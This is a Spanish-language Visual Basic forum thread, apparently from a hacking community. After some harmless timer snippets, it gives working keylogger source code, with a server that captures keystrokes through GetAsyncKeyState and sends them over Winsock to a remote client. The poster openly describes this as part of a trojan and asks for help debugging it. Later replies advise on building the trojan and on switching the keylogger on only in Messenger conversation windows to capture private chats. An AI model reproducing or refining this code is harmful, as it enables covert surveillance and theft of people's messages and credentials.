Mensajes

Nanih Pa k pones codigo de C en el foro de VB???

esto es lo k se me ocurre asi a priori es un poko chapucero xDDD y tampoco lo e probado pero supongo k funciona
esto es poniendo 2 option buttons pero puedes poner los k kieras

Código [Seleccionar] Expandir


Dim contador As Integer
Dim minutos As String

Private sub Form_load()
timer1.interval = 60000
end sub

Private Sub Option1_Click()
contador = 0
minutos = 5
End Sub

Private Sub Option2_Click()
contador = 0
minutos = 10
End Sub

Private Sub Timer1_Timer()
If contador = minutos Then
tu codigo
contador = 0
Else
contador = contador + 1
End If
End Sub



en el otro codigo no se por k puse vez = 0 en lugar de contador = 0  supongo k es xk antes lo acia llamando ala variable vez  y se me a pirao la pinza xDD

añade el control winsock y pon un label por ejemplo
Private sub form_load()
label1.caption = winsock1.localip
en sub
y utiliza el boton de buscar k sto creo k tb esta dixo si no en google seguro k viene 

de esto ya se hablo en el foro un par de veces utiliza buscar de todas formas te voy a contestar:
tienes k usar contadores

Código [Seleccionar] Expandir


Dim contador As Integer

private sub Form_Load()
timer1.interval = 60000 'un minuto
end sub

Private Sub Timer1_Timer()
If contador = 5 Then
tu codigo
vez = 0
Else
contador = contador + 1
End If
end sub


cada vez k pasa 1 minuto se le añade 1 a la variable contador y cuando la variable contador tiene 5 se ejecuta el codigo k kieres  asi han pasado 5 minutos

Tu code no me funciono EON ya me lo imaginaba de todas formas gracias,xk la soluccion es como decia warghost ya lo ize jejej muxas gracias tio 

Buenas foreros tengo un problemilla con este codigo es un keyloger,en realidad el keyloger va incorporado a un troyano y pongo aki solo el keyloger,bueno primero pongo el codigo y luego os digo lo k me pasa:

Servidor:

Código [Seleccionar] Expandir


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim pulsacion As String
For X% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(X%) Then 'si se ha pulsado una tecla
pulsacion = ObtenerTecla(X%) 'obtener tecla pulsada, la funcion obtener tecla es una funcion aparte para obtener las teclas especiales
Text1.Text = Text1.Text & pulsacion  'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
Call Command1_Click
If Not ws.State = sckConnected Then
Timer1.Enabled = False
End If
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
end sub
Private Sub Command1_Click()
ws.SendData "log|" & Text1.Text
Text1.Text = ""
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If datos = "Keylogg" Then
Timer1.Enabled = True
End If


Cliente:

Código [Seleccionar] Expandir


Dim log As Variant
Dim datos As String
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
log = Split(datos, "|")
Select Case log(0)
Case "log"
Text1.Text = Text1.Text & log(1)
End Select
End Sub
Private Sub Command1_Click()
ws.SendData "Keylogg"
End Sub


si habeis leido el codigo el servidor manda "log|" & text1.text, y al llegar al cliente lo separa x el pipe con split pero el problema es k al llegar en el textbox donde deberia de llegar las teclas capturadas solo llega la palabra "log"(lo capturado no llega) en cambio para detectar la ventana activa utilizo el mismo codigo y funciona de maravilla.

Otra cosa curiosa es k utilizando ese codigo ejecutando el server en mi propia makina funciona bien me llegan las teclas capturadas y no aparece la palabra "log" pero cuando lo ejecuto el servidor en una makina remota las tecllas capturadas no llegan y solo pone "log" es como si el split lo separase mal

¿alguien sabe por k se produce esto y cual es la solucion??
Me stoy volviendo lokoo 

Ademas, yo quiero lo que el otro usuario dice, no lo que yo mismo diga...entiendes?

Si entonces el metodo k te dije yo no funciona, te lo dije por k en el 1º post solo decias k kerias saber lo k el usuario escribia en la ventana del messenger,pero si es asi nada 
bueno si x casualidad se me ocurre alguna otra cosilla para esto te aviso 

Aver... Si no sabes nada de programacion no te puedes poner a hacer un troyano asi nada mas empezar por las buenas.
Primero aprende lo basico de programacion y despues empieza con el troyano pero no puedes empezar asi por las buenas sin saber nada es como kerer construir un edificio sin saber lo k es un ladrillo   

Busca y lee

Ya lo hiciste?

No es k lo haya exo pero cada vez k hago algo y quiero saber lo k se teclea en una determinada ventana lo hago por ese metodo y siempre me funciona
Pero en una cosa tienes razon las conversaciones se mezclarian aunke eso podria tener solucion..  aunke es una xapuza xDD

Mira te doy una idea k te puede ser util..

Con la API Findwindow detectas la ventana activa, la ventana de conversacion del messenger tanto en el live como en el de toda la vida se llama asi:

Nick de la persona - Conversacion. Es decir la ventana activa del messenger siempre va a terminar en la palabra Conversacion por lo k puedes acer esto:

1º detectar la ventana activa con findwindow y su nombre mostrarlo en un label x ejemplo,y luego acer un condicional

si las ultimas 12 letras del label1.caption = "Conversación" entonces se activara un keylogger
Para detectar las ultimas 12 letras utiliza Right

De esa forma cada vez k el usuario escriba en la ventana del messenger se activara un keylogger y asi sacaras solo lo k escribe en las conversaciones de messenger
Luego lo k valla capturando el keylogger le dices k lo vaya dejando en un textbox

no se si me entendiste si no me entendiste te lo vuelvo a explicar xD ami me funciona jeje